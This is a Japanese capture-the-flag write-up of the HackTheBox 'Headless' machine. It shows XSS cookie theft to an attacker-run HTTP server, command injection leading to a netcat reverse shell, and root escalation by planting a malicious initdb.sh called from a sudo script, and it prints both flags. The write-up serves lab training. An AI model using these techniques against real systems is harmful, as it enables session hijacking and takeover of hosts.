【HackTheBox】Headless：Writeup

# 概要

HackTheBox「Headless 」マシンのWriteupです。

https://app.hackthebox.com/machines/Headless

# User Flag

`nmap`を実行します。

```
$ nmap -Pn -sC -sV -A 10.10.11.8 -oN nmap_result 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 04:17 EDT
Nmap scan report for 10.10.11.8
Host is up (0.27s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE       VERSION
22/tcp   open     ssh           OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open     upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sun, 16 Jun 2024 08:17:28 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
7002/tcp filtered afs3-prserver
```

`5000`番でWebサービスが動いているのでアクセスします。

![web home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5f8ab065-ff52-ff9b-b08f-8465bb8cf89f.png)

ディレクトリを列挙します。

```
$ dirsearch -u http://10.10.11.8:5000
```

```
[04:29:12] 401 -  317B  - /dashboard
[04:31:01] 200 -    2KB - /support
```

`/dashboard`は許可されていないのでアクセスできません。
`/support`はフォームから送信できるようになっています。

![support.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f6825559-56b6-9735-87ac-3d331972dd1b.png)

`/`にアクセスするとCookieの`is_admin`に値が入ると分かりました。

![cookie .png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4843fb5c-894d-1b7f-11b6-629a80ca2646.png)

ドットより前半の部分は`base64`で`user`と分かりました。

```
$ echo -n 'InVzZXIi' | base64 -d 
"user"
```

フォームにスクリプトタグを入れて送信するとリクエストヘッダー情報が表示されました。

![xss detect.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ada0ff60-e079-e16a-fbb0-73df691b42fa.png)

この時点で`「CookieをAdminの物へ変更する必と/dashboardへアクセスできそう」`、`「ヘッダーにスクリプトを入れるとXSSを成功できそう」`という見当がつきました。

XSSにはCookieを取得できる攻撃があります。

https://pswalia2u.medium.com/exploiting-xss-stealing-cookies-csrf-2325ec03136e

HTTPサーバーを起動します。

```
$ python -m http.server 8000
```

`User-Agent`などのヘッダーにスクリプトを挿入し、リクエストを送ります。
IPやポートは自身のものに編集します。

![script request.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/755fecd2-f6e5-29ed-2d3d-afb46e5cbe70.png)

そうするとHTTPサーバーにCookie情報が送られてきました。

```
10.10.11.8 - - [17/Jun/2024 05:56:44] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -
```

Base64でデコードすると`admin`のCookieであることがわかります。

```
$ echo -n 'aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=' | base64 -d
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
$ echo -n 'ImFkbWluIg' | base64 -d                  
"admin"base64: invalid input
```

このCookieをセットすると`/dashboard`にアクセスすることが出来ます。

![dashboard.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/981e5f8d-26f2-efa5-ddb0-58c20f47259e.png)

`Generate Report`のリクエストでは`date`パラメータに日付を入れて送信していることが分かります。

![generate report.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a310a525-4e77-b628-cb3d-3b3395542a4f.png)

このリクエストボディに`;`で区切るとコマンドを実行できると分かりました。

![command inj.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/49b00e65-86f3-60fb-2897-b10f670fc48a.png)

Netcatがターゲットマシン上にあると分かったのでそれを利用してリバースシェルを実行します。

![nc.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/aeea8f8d-79b3-a46b-1eec-2a977d78408e.png)

Netcatでリッスンします。

```
$ nc -lnvp 1234                                           
listening on [any] 1234 ...
```

リクエストを送信します。

![revshell.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d16601ca-1c3e-c0b7-70f6-9b064f3a69e8.png)

コマンドインジェクションを実行してシェルを獲得できました。

```
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.46] from (UNKNOWN) [10.10.11.8] 33980
whoami
dvir
```

`/home/dvir/user.txt`を閲覧してフラグゲットです。

```
cat /home/dvir/user.txt
d18a0d57ae57f354d2f403d4a376cc74
```

# Root Flag

pythonでTTYを利用します。

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
dvir@headless:~$
```

`sudo -l`を実行します。

```
$ sudo -l
sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck
```

`/usr/bin/syscheck`という興味深いものが見つかりました。
プログラムの中を見てみると`./initdb.sh`を実行していると分かります。

```/usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi
```

`initdb.sh`を作成し実行権限を付与します。

```
$ echo "/bin/bash -i" > initdb.sh
$ chmod +x initdb.sh
```

`/usr/bin/syscheck`を実行するとroot権限を取得出来ました。

```
$ sudo /usr/bin/syscheck
whoami
root
```

`/root/root.txt`を閲覧してフラグゲットです。

```
cat /root/root.txt
17a0a65b4de6008ccfdb5693a2ceabb5
```